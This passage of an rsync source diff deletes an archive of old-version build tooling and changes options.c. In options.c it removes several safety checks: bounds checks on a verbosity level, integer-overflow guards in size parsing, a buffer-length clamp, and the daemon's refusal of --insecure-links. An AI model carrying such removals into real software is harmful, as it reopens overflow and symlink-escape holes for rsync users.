failed\\n\");\n-\t\t\treturn;\n-\t\t}\n-#endif\n-\t\tapply_io_priority(setting.io_class, setting.io_data);\n-\t}\n-}\ndiff --git a/old_versions/README.md b/old_versions/README.md\ndeleted file mode 100644\nindex a5ce3a5..0000000\n--- a/old_versions/README.md\n+++ /dev/null\n@@ -1,87 +0,0 @@\n-# Old rsync version archive\n-\n-Static rsync binaries built from historical release tags. Two uses:\n-\n-1. **Cross-version behaviour checks** — confirming whether a behaviour a user\n-   reported on an old release is version-specific or option-driven.\n-2. **The version-mixing test suite** — `runtests.py --rsync-bin2=...` runs the\n-   current code against one of these as the daemon / remote-shell peer; CI\n-   (`.github/workflows/ubuntu-version-mix.yml`) does this for every binary\n-   here against the per-version manifests in `testsuite/expect/`.\n-\n-Binaries are **statically linked** so they run regardless of the host's\n-shared libraries, and named `rsync_<version>`:\n-\n-| Binary         | Version | Protocol | Notes                                   |\n-|----------------|---------|----------|-----------------------------------------|\n-| `rsync_2.6.0`  | 2.6.0   | 27       | 2004; needs autoconf regen (see below)  |\n-| `rsync_3.0.0`  | 3.0.0   | 30       | 2008                                    |\n-| `rsync_3.1.0`  | 3.1.0   | 31       | 2013                                    |\n-| `rsync_3.1.3`  | 3.1.3   | 31       | Ubuntu 18.04 / Debian buster era (2018) |\n-| `rsync_3.2.0`  | 3.2.0   | 31       | 2020 (zstd/lz4/xxhash negotiation added)|\n-| `rsync_3.2.7`  | 3.2.7   | 31       | 2022                                    |\n-| `rsync_3.3.0`  | 3.3.0   | 31       | 2024                                    |\n-| `rsync_3.4.0`  | 3.4.0   | 32       | 2025                                    |\n-| `rsync_3.4.1`  | 3.4.1   | 32       | 2025                                    |\n-\n-These are every `x.y.0` release from 2.6.0 (2004) onward plus a few point\n-releases. 2.6.0 is the practical floor: older tags need progressively more\n-porting to build on a current toolchain.\n-\n-All built `--disable-openssl` and with `_FORTIFY_SOURCE` disabled (see below);\n-xxhash/zstd/lz4 are compiled in where the version supports them.\n-\n-## Adding a version\n-\n-```bash\n-./build_static.sh 3.2.7            # uses git tag v3.2.7\n-./build_static.sh 3.0.9 v3.0.9     # explicit tag if naming differs\n-```\n-\n-The script checks out the tag into a throwaway `git worktree`, applies the\n-minimal patches needed to compile old sources on a modern toolchain, links\n-statically, verifies the result is static and reports the requested version,\n-then installs `rsync_<version>` here and removes the worktree.\n-\n-Override the source repo with `RSYNC_REPO=/path/to/rsync ./build_static.sh ...`\n-(defaults to `../rsync.4`).\n-\n-## Why the patches?\n-\n-Modern GCC (>= 14, C23 default) and glibc reject things old rsync relied on.\n-`build_static.sh` handles these, each guarded so it's a no-op when not needed:\n-\n-1. **K&R `lseek64()` redeclaration** in `syscall.c` clashes with glibc's real\n-   prototype — removed.\n-2. **`gettimeofday()`** — glibc only has the 2-arg form; configure misdetects\n-   the 1-arg form, so `HAVE_GETTIMEOFDAY_TZ` is forced on in `config.h`.\n-3. **C23 `()` == `(void)`** breaks K&R prototypes called with arguments\n-   (`qsort` comparator, `pool->bomb`, etc.) — built with `-std=gnu11`.\n-4. Assorted modern `-Werror` promotions (incompatible pointer types, implicit\n-   declarations) downgraded to warnings; bundled zlib/popt used to keep the\n-   static link self-contained.\n-\n-5. **OpenSSL (3.2+)** is disabled with `--disable-openssl`: linking\n-   `libcrypto.a` statically drags in jitterentropy (`jent_*`) and zlib's\n-   `uncompress` (OpenSSL's COMP module), which don't resolve here. OpenSSL only\n-   provided optional MD4/MD5, which rsync implements natively, so checksum\n-   behaviour is unaffected.\n-\n-6. **`_FORTIFY_SOURCE` disabled** (`-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0`):\n-   modern Ubuntu defaults it to `=3`, whose stricter object-size checks turn\n-   latent (historically benign) over-reads in OLD rsync into hard\n-   `*** buffer overflow detected ***` aborts when the binary runs as a\n-   server/daemon — which made e.g. 3.1.3 and 3.2.7 unusable as peers. Disabling\n-   it makes the archival binaries behave as the released versions did.\n-\n-7. **Pre-3.0 tags (e.g. 2.6.0)** ship `configure.in`, not a generated\n-   `configure`. The script runs `autoheader`/`autoconf` to generate it, after\n-   neutralizing the `AC_CHECK_FUNCS(fn,,AC_LIBOBJ(lib/...))` fallbacks for\n-   `inet_ntop`/`inet_pton`/`getaddrinfo`/`getnameinfo` — modern autoconf emits\n-   broken shell for those never-taken branches (the funcs exist in glibc). It\n-   also generates `proto.h` (no make rule in that era) and stubs the vendored\n-   `lib/addrinfo.h` the tag dropped (modern glibc supplies `struct addrinfo`).\n-   All guarded so they no-op on 3.x.\n-\n-Newer versions may need fewer or different tweaks; if a build fails, the\n-script prints the first compiler errors from its log.\ndiff --git a/old_versions/build_static.sh b/old_versions/build_static.sh\ndeleted file mode 100755\nindex 7cabcc0..0000000\n--- a/old_versions/build_static.sh\n+++ /dev/null\n@@ -1,128 +0,0 @@\n-#!/bin/bash\n-# Build a static rsync binary from a historical git tag, for cross-version\n-# behaviour testing. Produces ./rsync_<version> in this directory.\n-#\n-# Usage:   ./build_static.sh <version> [git-tag]\n-# Example: ./build_static.sh 3.1.3          # uses tag v3.1.3\n-#          ./build_static.sh 3.2.7 v3.2.7\n-#\n-# Old rsync releases don't compile cleanly on a modern toolchain (GCC >= 14\n-# defaults to C23, where an empty () prototype means (void); glibc dropped the\n-# 1-arg gettimeofday; lseek64 K&R redeclarations clash). This script applies\n-# the minimal, best-effort workarounds and links statically so the result is\n-# self-contained and reproducible regardless of the host's shared libraries.\n-#\n-# Each workaround is guarded so it's a no-op on versions that don't need it.\n-set -euo pipefail\n-\n-VERSION=\"${1:?usage: build_static.sh <version> [git-tag]}\"\n-TAG=\"${2:-v$VERSION}\"\n-\n-ARCHIVE_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\n-REPO=\"${RSYNC_REPO:-/home/tridge/project/rsync/rsync.4}\"   # any rsync worktree\n-WORKTREE=\"$(mktemp -d /tmp/rsync-build-XXXXXX)\"\n-OUT=\"$ARCHIVE_DIR/rsync_$VERSION\"\n-\n-# C standard restores K&R () semantics; permissive flags downgrade the pile of\n-# modern -Werror promotions (incompatible pointers, implicit decls) to warnings.\n-# _FORTIFY_SOURCE is forced OFF: modern Ubuntu defaults it to =3, whose stricter\n-# object-size checks turn latent (historically benign) over-reads in OLD rsync\n-# into hard \"*** buffer overflow detected ***\" aborts when the binary acts as a\n-# server/daemon. Disabling it makes these archival binaries behave the way the\n-# released versions did, which is the whole point of the archive.\n-CFLAGS_OLD=\"-I. -I./zlib -O2 -g -std=gnu11 -fcommon -DHAVE_CONFIG_H -Wno-error \\\n--U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 \\\n--Wno-incompatible-pointer-types -Wno-implicit-function-declaration -Wno-int-conversion\"\n-\n-cleanup() {\n-    cd \"$REPO\"\n-    git worktree remove --force \"$WORKTREE\" 2>/dev/null || true\n-    git worktree prune 2>/dev/null || true\n-}\n-trap cleanup EXIT\n-\n-echo \">>> checking out $TAG into $WORKTREE\"\n-# prefer an exact tag to avoid ambiguity with similarly-named branches\n-REF=\"$TAG\"\n-if git -C \"$REPO\" rev-parse -q --verify \"refs/tags/$TAG\" >/dev/null; then\n-    REF=\"refs/tags/$TAG\"\n-fi\n-git -C \"$REPO\" worktree add --detach \"$WORKTREE\" \"$REF\"\n-cd \"$WORKTREE\"\n-\n-# --- workaround 1: K&R lseek64 redeclaration clashes with glibc's prototype ---\n-if grep -q 'off64_t lseek64();' syscall.c 2>/dev/null; then\n-    echo \">>> patching syscall.c lseek64 redeclaration\"\n-    perl -0pi -e 's/#ifdef HAVE_LSEEK64\\n#if !SIZEOF_OFF64_T\\n\\tOFF_T lseek64\\(\\);\\n#else\\n\\toff64_t lseek64\\(\\);\\n#endif\\n\\treturn lseek64/#ifdef HAVE_LSEEK64\\n\\treturn lseek64/' syscall.c\n-fi\n-\n-# --- workaround 0: pre-3.0 tags ship configure.in, not a generated configure.\n-# Generate it. Modern autoconf emits broken shell for their\n-# AC_CHECK_FUNCS(fn,,AC_LIBOBJ(lib/...)) fallbacks -- but those branches are\n-# dead on a modern host (glibc has inet_ntop/inet_pton/getaddrinfo/getnameinfo),\n-# so neutralize the AC_LIBOBJ replacements before regenerating.\n-OLD_TREE=0\n-if [ ! -f ./configure ] && { [ -f configure.in ] || [ -f configure.ac ]; }; then\n-    OLD_TREE=1\n-    acsrc=configure.ac; [ -f configure.in ] && acsrc=configure.in\n-    echo \">>> generating configure for an old tag (autoheader/autoconf)\"\n-    sed -i 's#AC_LIBOBJ(lib/[a-zA-Z_]*)#:#g' \"$acsrc\"\n-    autoheader 2>/dev/null || true\n-    autoconf 2>/dev/null || { echo \"autoconf failed\"; exit 1; }\n-fi\n-\n-CONF_ARGS=(--disable-md2man --with-included-zlib=yes --with-included-popt=yes)\n-# OpenSSL (3.2+) only adds optional MD4/MD5 that rsync already implements, but\n-# linking libcrypto.a statically drags in jitterentropy + zlib's uncompress,\n-# which aren't resolvable here. Drop it when the flag exists.\n-if ./configure --help 2>/dev/null | grep -q -- '--disable-openssl'; then\n-    echo \">>> disabling openssl for self-contained static link\"\n-    CONF_ARGS+=(--disable-openssl)\n-fi\n-\n-echo \">>> configure (bundled zlib + popt, static-friendly)\"\n-./configure \"${CONF_ARGS[@]}\" \\\n-    >\"$WORKTREE/conf.log\" 2>&1 || { tail -20 \"$WORKTREE/conf.log\"; exit 1; }\n-\n-# --- workaround 2: modern glibc only has the 2-arg gettimeofday ---------------\n-if grep -q '/\\* #undef HAVE_GETTIMEOFDAY_TZ \\*/' config.h; then\n-    echo \">>> forcing HAVE_GETTIMEOFDAY_TZ (configure misdetects it)\"\n-    sed -i 's|/\\* #undef HAVE_GETTIMEOFDAY_TZ \\*/|#define HAVE_GETTIMEOFDAY_TZ 1|' config.h\n-fi\n-\n-# --- workaround 4 (old trees only): generate proto.h if the tree has no make\n-# rule for it, and stub a vendored lib/addrinfo.h that the git tag dropped\n-# (modern glibc supplies struct addrinfo / sockaddr_storage, so empty is right).\n-if [ \"$OLD_TREE\" = 1 ]; then\n-    if [ ! -f proto.h ] && [ -f mkproto.awk ]; then\n-        echo \">>> generating proto.h\"\n-        cat ./*.c ./lib/compat.c 2>/dev/null | awk -f ./mkproto.awk > proto.h\n-    fi\n-    if grep -q 'include \"lib/addrinfo.h\"' rsync.h 2>/dev/null && [ ! -f lib/addrinfo.h ]; then\n-        echo \">>> stubbing lib/addrinfo.h\"\n-        echo '/* emptied: modern glibc provides struct addrinfo */' > lib/addrinfo.h\n-    fi\n-fi\n-\n-echo \">>> building (static)\"\n-make -j\"$(nproc)\" CFLAGS=\"$CFLAGS_OLD\" LDFLAGS=\"-static\" \\\n-    >\"$WORKTREE/make.log\" 2>&1 || { grep -E 'error:|\\*\\*\\*' \"$WORKTREE/make.log\" | head; exit 1; }\n-\n-# verify it's actually static before we keep it\n-if ldd ./rsync 2>&1 | grep -qv 'not a dynamic executable'; then\n-    echo \"ERROR: binary is not statically linked:\" >&2\n-    ldd ./rsync >&2\n-    exit 1\n-fi\n-\n-GOT=\"$(./rsync --version | head -1 | awk '{print $3}')\"\n-if [ \"$GOT\" != \"$VERSION\" ]; then\n-    echo \"ERROR: built version '$GOT' != requested '$VERSION'\" >&2\n-    exit 1\n-fi\n-\n-cp ./rsync \"$OUT\"\n-strip \"$OUT\"\n-echo \">>> installed $OUT\"\n-\"$OUT\" --version | head -1\n-file \"$OUT\"\ndiff --git a/options.c b/options.c\nindex 4be82ee..578507c 100644\n--- a/options.c\n+++ b/options.c\n@@ -27,7 +27,6 @@\n extern int module_id;\n extern int local_server;\n extern int sanitize_paths;\n-extern int operator_path_resolve;\n extern int trust_sender_args;\n extern int trust_sender_filter;\n extern unsigned int module_dirlen;\n@@ -60,9 +59,6 @@ int preserve_perms = 0;\n int preserve_executability = 0;\n int preserve_devices = 0;\n int preserve_specials = 0;\n-int drop_devices = 0;\n-char *confine_root = NULL;\t\t/* --confine-root: see syscall.c */\n-unsigned int confine_rootlen = 0;\n int preserve_uid = 0;\n int preserve_gid = 0;\n int preserve_mtimes = 0;\n@@ -90,8 +86,6 @@ int sparse_files = 0;\n int preallocate_files = 0;\n int do_compression = 0;\n int do_compression_level = CLVL_NOT_SPECIFIED;\n-int do_compression_threads = 0; /*n = 0 use rsync thread, n >= 1 spawn n threads for compression */\n-#define MAX_DAEMON_COMPRESSION_THREADS 8\n int am_root = 0; /* 0 = normal, 1 = root, 2 = --super, -1 = --fake-super */\n int am_server = 0;\n int am_sender = 0;\n@@ -119,21 +113,11 @@ int mkpath_dest_arg = 0;\n int allow_inc_recurse = 1;\n int xfer_dirs = -1;\n int am_daemon = 0;\n-/* Set after a successful per-module chroot (\"use chroot = yes\") in\n- * clientserver.c. NOT set for the daemon-level \"daemon chroot = /X\"\n- * chroot: that confines path resolution to /X, but module paths\n- * /X/modA, /X/modB, etc. are not chroot boundaries, so the per-module\n- * symlink-race defenses (secure_relative_open() / do_*_at() in\n- * syscall.c, gated by `am_daemon && !am_chrooted`) must still fire\n- * even when the daemon is inside a daemon chroot. */\n-int am_chrooted = 0;\n int connect_timeout = 0;\n int keep_partial = 0;\n int safe_symlinks = 0;\n int copy_unsafe_links = 0;\n-int insecure_links = 0;\n int munge_symlinks = 0;\n-int use_secure_symlinks = 0;\n int size_only = 0;\n int daemon_bwlimit = 0;\n int bwlimit = 0;\n@@ -151,7 +135,6 @@ int blocking_io = -1;\n int checksum_seed = 0;\n int inplace = 0;\n int delay_updates = 0;\n-int delay_symlinks = 0;\n int32 block_size = 0;\n time_t stop_at_utime = 0;\n char *skip_compress = NULL;\n@@ -242,7 +225,7 @@ char *iconv_opt =\n \n struct chmod_mode_struct *chmod_modes = NULL;\n \n-static const char *const debug_verbosity[] = {\n+static const char *debug_verbosity[] = {\n \t/*0*/ NULL,\n \t/*1*/ NULL,\n \t/*2*/ \"BIND,CMD,CONNECT,DEL,DELTASUM,DUP,FILTER,FLIST,ICONV\",\n@@ -253,7 +236,7 @@ static const char *const debug_verbosity[] = {\n \n #define MAX_VERBOSITY ((int)(sizeof debug_verbosity / sizeof debug_verbosity[0]) - 1)\n \n-static const char *const info_verbosity[1+MAX_VERBOSITY] = {\n+static const char *info_verbosity[1+MAX_VERBOSITY] = {\n \t/*0*/ \"NONREG\",\n \t/*1*/ \"COPY,DEL,FLIST,MISC,NAME,STATS,SYMSAFE\",\n \t/*2*/ \"BACKUP,MISC2,MOUNT,NAME2,REMOVE,SKIP\",\n@@ -458,10 +441,7 @@ static void parse_output_words(struct output_struct *words, short *levels, const\n \t\t\t\tlen--;\n \t\t}\n \t\tlev = isDigit(str+len) ? atoi(str+len) : 1;\n-\t\t/* atoi() of an overflowing positive digit string can return a\n-\t\t * negative int (LONG_MAX truncated on LP64); a negative lev\n-\t\t * here later indexes counts[lev] in make_output_option(). */\n-\t\tif (lev > MAX_OUT_LEVEL || lev < 0)\n+\t\tif (lev > MAX_OUT_LEVEL)\n \t\t\tlev = MAX_OUT_LEVEL;\n \t\tif (len == 4 && strncasecmp(str, \"help\", 4) == 0) {\n \t\t\toutput_item_help(words);\n@@ -494,7 +474,7 @@ static void parse_output_words(struct output_struct *words, short *levels, const\n static void output_item_help(struct output_struct *words)\n {\n \tshort *levels = words == info_words ? info_levels : debug_levels;\n-\tconst char *const*verbosity = words == info_words ? info_verbosity : debug_verbosity;\n+\tconst char **verbosity = words == info_words ? info_verbosity : debug_verbosity;\n \tchar buf[128], *opt, *fmt = \"%-10s %s\\n\";\n \tint j;\n \n@@ -604,7 +584,7 @@ enum {OPT_SERVER = 1000, OPT_DAEMON, OPT_SENDER, OPT_EXCLUDE, OPT_EXCLUDE_FROM,\n       OPT_NO_D, OPT_APPEND, OPT_NO_ICONV, OPT_INFO, OPT_DEBUG, OPT_BLOCK_SIZE,\n       OPT_USERMAP, OPT_GROUPMAP, OPT_CHOWN, OPT_BWLIMIT, OPT_STDERR,\n       OPT_OLD_COMPRESS, OPT_NEW_COMPRESS, OPT_NO_COMPRESS, OPT_OLD_ARGS,\n-      OPT_STOP_AFTER, OPT_STOP_AT, OPT_NICE, OPT_NO_NICE,\n+      OPT_STOP_AFTER, OPT_STOP_AT,\n       OPT_REFUSED_BASE = 9000};\n \n static struct poptOption long_options[] = {\n@@ -686,17 +666,12 @@ static struct poptOption long_options[] = {\n   {\"no-write-devices\", 0,  POPT_ARG_VAL,    &write_devices, 0, 0, 0 },\n   {\"specials\",         0,  POPT_ARG_VAL,    &preserve_specials, 1, 0, 0 },\n   {\"no-specials\",      0,  POPT_ARG_VAL,    &preserve_specials, 0, 0, 0 },\n-  {\"drop-D\",           0,  POPT_ARG_VAL,    &drop_devices, 1, 0, 0 },\n-  {\"no-drop-D\",        0,  POPT_ARG_VAL,    &drop_devices, 0, 0, 0 },\n-  {\"confine-root\",     0,  POPT_ARG_STRING, &confine_root, 0, 0, 0 },\n   {\"links\",           'l', POPT_ARG_VAL,    &preserve_links, 1, 0, 0 },\n   {\"no-links\",         0,  POPT_ARG_VAL,    &preserve_links, 0, 0, 0 },\n   {\"no-l\",             0,  POPT_ARG_VAL,    &preserve_links, 0, 0, 0 },\n   {\"copy-links\",      'L', POPT_ARG_NONE,   &copy_links, 0, 0, 0 },\n   {\"copy-unsafe-links\",0,  POPT_ARG_NONE,   &copy_unsafe_links, 0, 0, 0 },\n   {\"safe-links\",       0,  POPT_ARG_NONE,   &safe_symlinks, 0, 0, 0 },\n-  {\"insecure-links\",   0,  POPT_ARG_VAL,    &insecure_links, 1, 0, 0 },\n-  {\"no-insecure-links\",0,  POPT_ARG_VAL,    &insecure_links, 0, 0, 0 },\n   {\"munge-links\",      0,  POPT_ARG_VAL,    &munge_symlinks, 1, 0, 0 },\n   {\"no-munge-links\",   0,  POPT_ARG_VAL,    &munge_symlinks, 0, 0, 0 },\n   {\"copy-dirlinks\",   'k', POPT_ARG_NONE,   &copy_dirlinks, 0, 0, 0 },\n@@ -781,8 +756,6 @@ static struct poptOption long_options[] = {\n   {\"skip-compress\",    0,  POPT_ARG_STRING, &skip_compress, 0, 0, 0 },\n   {\"compress-level\",   0,  POPT_ARG_INT,    &do_compression_level, 0, 0, 0 },\n   {\"zl\",               0,  POPT_ARG_INT,    &do_compression_level, 0, 0, 0 },\n-  {\"compress-threads\", 0,  POPT_ARG_INT,    &do_compression_threads, 0, 0, 0 },\n-  {\"zt\",               0,  POPT_ARG_INT,    &do_compression_threads, 0, 0, 0 },\n   {0,                 'P', POPT_ARG_NONE,   0, 'P', 0, 0 },\n   {\"progress\",         0,  POPT_ARG_VAL,    &do_progress, 1, 0, 0 },\n   {\"no-progress\",      0,  POPT_ARG_VAL,    &do_progress, 0, 0, 0 },\n@@ -791,8 +764,6 @@ static struct poptOption long_options[] = {\n   {\"partial-dir\",      0,  POPT_ARG_STRING, &partial_dir, 0, 0, 0 },\n   {\"delay-updates\",    0,  POPT_ARG_VAL,    &delay_updates, 1, 0, 0 },\n   {\"no-delay-updates\", 0,  POPT_ARG_VAL,    &delay_updates, 0, 0, 0 },\n-  {\"delay-symlinks\",   0,  POPT_ARG_VAL,    &delay_symlinks, 1, 0, 0 },\n-  {\"no-delay-symlinks\",0,  POPT_ARG_VAL,    &delay_symlinks, 0, 0, 0 },\n   {\"prune-empty-dirs\",'m', POPT_ARG_VAL,    &prune_empty_dirs, 1, 0, 0 },\n   {\"no-prune-empty-dirs\",0,POPT_ARG_VAL,    &prune_empty_dirs, 0, 0, 0 },\n   {\"no-m\",             0,  POPT_ARG_VAL,    &prune_empty_dirs, 0, 0, 0 },\n@@ -862,8 +833,6 @@ static struct poptOption long_options[] = {\n   {\"remote-option\",   'M', POPT_ARG_STRING, 0, 'M', 0, 0 },\n   {\"protocol\",         0,  POPT_ARG_INT,    &protocol_version, 0, 0, 0 },\n   {\"checksum-seed\",    0,  POPT_ARG_INT,    &checksum_seed, 0, 0, 0 },\n-  {\"nice\",             0,  POPT_ARG_STRING, 0, OPT_NICE, 0, 0 },\n-  {\"no-nice\",          0,  POPT_ARG_NONE,   0, OPT_NO_NICE, 0, 0 },\n   {\"server\",           0,  POPT_ARG_NONE,   0, OPT_SERVER, 0, 0 },\n   {\"sender\",           0,  POPT_ARG_NONE,   0, OPT_SENDER, 0, 0 },\n   /* All the following options switch us into daemon-mode option-parsing. */\n@@ -875,7 +844,7 @@ static struct poptOption long_options[] = {\n   {0,0,0,0, 0, 0, 0}\n };\n \n-static const struct poptOption long_daemon_options[] = {\n+static struct poptOption long_daemon_options[] = {\n   /* longName, shortName, argInfo, argPtr, value, descrip, argDesc */\n   {\"address\",          0,  POPT_ARG_STRING, &bind_address, 0, 0, 0 },\n   {\"bwlimit\",          0,  POPT_ARG_INT,    &daemon_bwlimit, 0, 0, 0 },\n@@ -891,8 +860,6 @@ static const struct poptOption long_daemon_options[] = {\n   {\"port\",             0,  POPT_ARG_INT,    &rsync_port, 0, 0, 0 },\n   {\"sockopts\",         0,  POPT_ARG_STRING, &sockopts, 0, 0, 0 },\n   {\"protocol\",         0,  POPT_ARG_INT,    &protocol_version, 0, 0, 0 },\n-  {\"nice\",             0,  POPT_ARG_STRING, 0, OPT_NICE, 0, 0 },\n-  {\"no-nice\",          0,  POPT_ARG_NONE,   0, OPT_NO_NICE, 0, 0 },\n   {\"server\",           0,  POPT_ARG_NONE,   &am_server, 0, 0, 0 },\n   {\"temp-dir\",        'T', POPT_ARG_STRING, &tmpdir, 0, 0, 0 },\n   {\"verbose\",         'v', POPT_ARG_NONE,   0, 'v', 0, 0 },\n@@ -905,17 +872,6 @@ static const struct poptOption long_daemon_options[] = {\n \n static char err_buf[200];\n \n-static int parse_niceness_option(poptContext pc)\n-{\n-\tconst char *arg = poptGetOptArg(pc);\n-\n-\tif (niceness_parse(arg))\n-\t\treturn 1;\n-\tsnprintf(err_buf, sizeof err_buf,\n-\t\t\"Invalid argument passed to --nice (%s)\\n\", arg);\n-\treturn 0;\n-}\n-\n \n /**\n  * Store the option error message, if any, so that we can log the\n@@ -936,54 +892,9 @@ void option_error(void)\n }\n \n \n-/* Does this row store a compile-time constant, and if so which?\n- *\n- * popt's `val` is not comparable across argInfo kinds.  For POPT_ARG_VAL it IS\n- * the value stored in `arg`; for the others a nonzero `val` is an action code\n- * handed to the parser's switch, and POPT_ARG_NONE with a destination stores 1\n- * regardless.  Comparing the raw field therefore misses aliases spelled with\n- * different table shapes -- --del is POPT_ARG_NONE/&delete_during/0 and\n- * --delete-during is POPT_ARG_VAL/&delete_during/1, and both set it to 1. */\n-static int refuse_const_assign(const struct poptOption *op, int *valp)\n-{\n-\tif (!op->arg)\n-\t\treturn 0;\n-\tif (op->argInfo == POPT_ARG_VAL) {\n-\t\t*valp = op->val;\n-\t\treturn 1;\n-\t}\n-\t/* A nonzero val here means the row ALSO runs a parser action, so it is\n-\t * not merely an assignment and must not be folded in with one. */\n-\tif (op->argInfo == POPT_ARG_NONE && op->val == 0) {\n-\t\t*valp = 1;\n-\t\treturn 1;\n-\t}\n-\treturn 0;\n-}\n-\n-/* Do two table rows name the same capability?  An exact refuse rule names a\n- * capability, not one spelling of it. */\n-static int same_refuse_action(const struct poptOption *a, const struct poptOption *b)\n-{\n-\tint a_val, b_val;\n-\n-\t/* Constant assignments: same destination, same resulting value.  The\n-\t * value check keeps opposite switches such as --foo and --no-foo apart,\n-\t * since they differ only in what they store. */\n-\tif (refuse_const_assign(a, &a_val) && refuse_const_assign(b, &b_val))\n-\t\treturn a->arg == b->arg && a_val == b_val;\n-\n-\t/* Anything else has to match as a table entry: a row storing a runtime\n-\t * value (POPT_ARG_INT, POPT_ARG_STRING) needs the same destination and\n-\t * action code, and an action-only row the same nonzero code. */\n-\tif (a->argInfo != b->argInfo || a->val != b->val)\n-\t\treturn 0;\n-\treturn a->arg ? a->arg == b->arg : !b->arg && a->val != 0;\n-}\n-\n static void parse_one_refuse_match(int negated, const char *ref, const struct poptOption *list_end)\n {\n-\tstruct poptOption *op, *matched_op = NULL;\n+\tstruct poptOption *op;\n \tchar shortName[2];\n \tint is_wild = strpbrk(ref, \"*?[\") != NULL;\n \tint found_match = 0;\n@@ -1004,21 +915,8 @@ static void parse_one_refuse_match(int negated, const char *ref, const struct po\n \t\t\telse if (!is_wild)\n \t\t\t\top->descrip = negated ? \"a=\" : \"r=\";\n \t\t\tfound_match = 1;\n-\t\t\tif (!is_wild) {\n-\t\t\t\tmatched_op = op;\n+\t\t\tif (!is_wild)\n \t\t\t\tbreak;\n-\t\t\t}\n-\t\t}\n-\t}\n-\n-\tif (matched_op) {\n-\t\tfor (op = long_options; op != list_end; op++) {\n-\t\t\tif (op == matched_op || !same_refuse_action(op, matched_op))\n-\t\t\t\tcontinue;\n-\t\t\tif (op->descrip[1] == '*')\n-\t\t\t\top->descrip = negated ? \"a*\" : \"r*\";\n-\t\t\telse\n-\t\t\t\top->descrip = negated ? \"a=\" : \"r=\";\n \t\t}\n \t}\n \n@@ -1098,11 +996,6 @@ static void set_refuse_options(void)\n \t\t\tparse_one_refuse_match(0, \"iconv\", list_end);\n #endif\n \t\tparse_one_refuse_match(0, \"log-file*\", list_end);\n-\t\t/* A client must never disable the daemon's symlink confinement:\n-\t\t * --insecure-links is a local-only flag, so the daemon hard-refuses it\n-\t\t * (dropping the connection).  The daemon's own opt-out is the\n-\t\t * \"insecure links\" module parameter, not this flag. */\n-\t\tparse_one_refuse_match(0, \"insecure-links\", list_end);\n \t}\n \n #ifndef SUPPORT_ATIMES\n@@ -1175,12 +1068,6 @@ static int count_args(const char **argv)\n \treturn i;\n }\n \n-/* The largest value parse_size_arg() will accept when no explicit max_value is\n- * given.  It is SIZE_MAX/2 rather than SIZE_MAX because the parser computes and\n- * returns the size as a signed ssize_t (with a negative return meaning error),\n- * so this keeps every accepted size representable as a positive ssize_t. */\n-#define SIZE_ARG_MAX ((ssize_t)(SIZE_MAX / 2))\n-\n /* If the size_arg is an invalid string or the value is < min_value, an error\n  * is put into err_buf & the return is -1.  Note that this parser does NOT\n  * support negative numbers, so a min_value < 0 doesn't make any sense. */\n@@ -1190,8 +1077,6 @@ static ssize_t parse_size_arg(const char *size_arg, char def_suf, const char *op\n \tint reps, mult, len;\n \tconst char *arg, *err = \"invalid\", *min_max = NULL;\n \tssize_t limit = -1, size = 1;\n-\tssize_t size_max = max_value >= 0 ? max_value : SIZE_ARG_MAX;\n-\tdouble dsize;\n \n \tfor (arg = size_arg; isDigit(arg); arg++) {}\n \tif (*arg == '.' || *arg == get_decimal_point()) /* backward compatibility: always allow '.' */\n@@ -1226,38 +1111,11 @@ static ssize_t parse_size_arg(const char *size_arg, char def_suf, const char *op\n \t\tmult = 1024, arg += 2;\n \telse\n \t\tgoto failure;\n-\twhile (reps--) {\n-\t\tif (size > size_max / mult) {\n-\t\t\terr = \"too large\";\n-\t\t\tmin_max = \"max\";\n-\t\t\tlimit = max_value;\n-\t\t\tgoto failure;\n-\t\t}\n+\twhile (reps--)\n \t\tsize *= mult;\n-\t}\n-\terrno = 0;\n-\tdsize = strtod(size_arg, NULL);\n-\tif (errno == ERANGE || dsize < 0 || dsize > (double)size_max / size\n-\t || (max_value < 0 && dsize >= (double)size_max / size)) {\n-\t\terr = \"too large\";\n-\t\tmin_max = \"max\";\n-\t\tlimit = max_value;\n-\t\tgoto failure;\n-\t}\n-\tsize = (ssize_t)(dsize * size);\n-\tif ((*arg == '+' || *arg == '-') && arg[1] == '1' && arg != size_arg) {\n-\t\tif (*arg == '+') {\n-\t\t\tif (size == size_max) {\n-\t\t\t\terr = \"too large\";\n-\t\t\t\tmin_max = \"max\";\n-\t\t\t\tlimit = max_value;\n-\t\t\t\tgoto failure;\n-\t\t\t}\n-\t\t\tsize++;\n-\t\t} else\n-\t\t\tsize--;\n-\t\targ += 2;\n-\t}\n+\tsize *= atof(size_arg);\n+\tif ((*arg == '+' || *arg == '-') && arg[1] == '1' && arg != size_arg)\n+\t\tsize += atoi(arg), arg += 2;\n \tif (*arg)\n \t\tgoto failure;\n \tif (size < 0 || (max_value >= 0 && size > max_value)) {\n@@ -1281,8 +1139,6 @@ failure:\n \t\t\tmin_max, do_big_num(limit, 3, NULL),\n \t\t\tunlimited_0 && min_max[1] == 'i' ? \" or 0 for unlimited\" : \"\");\n \t}\n-\tif (len < 0 || len > (int)sizeof err_buf - 2)\n-\t\tlen = sizeof err_buf - 2;\n \terr_buf[len] = '\\n';\n \terr_buf[len+1] = '\\0';\n \treturn -1;\n@@ -1300,7 +1156,7 @@ static time_t parse_time(const char *arg)\n {\n \tconst char *cp;\n \ttime_t val, now = time(NULL);\n-\tstruct tm t, tmp, *today = localtime_r(&now, &tmp);\n+\tstruct tm t, *today = localtime(&now);\n \tint in_date, old_mday, n;\n \n \tmemset(&t, 0, sizeof t);\n@@ -1513,10 +1369,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t/* TODO: Call poptReadDefaultConfig; handle errors. */\n \n \tpc = poptGetContext(RSYNC_NAME, argc, argv, long_options, 0);\n-\tif (pc == NULL) {\n-\t\tstrlcpy(err_buf, \"poptGetContext returned NULL\\n\", sizeof err_buf);\n-\t\treturn 0;\n-\t}\n \tif (!am_server) {\n \t\tpoptReadDefaultConfig(pc, 0);\n \t\tpopt_unalias(pc, \"--daemon\");\n@@ -1589,15 +1441,6 @@ int parse_arguments(int *argc_p, const char ***argv_p)\n \t\t\t\t\tverbose++;\n \t\t\t\t\tbreak;\n \n-\t\t\t\tcase OPT_NICE:\n-\t\t\t\t\tif (!parse_niceness_option(pc))\n-\t\t\t\t\t\tgoto cleanup;\n-\t\t\t\t\tbreak;\n-\n-\t\t\t\tcase OPT_NO_NICE:\n-\t\t\t\t\tniceness_reset();\n-\t\t\t\t\tbreak;\n-\n \t\t\t\tdefault:\n 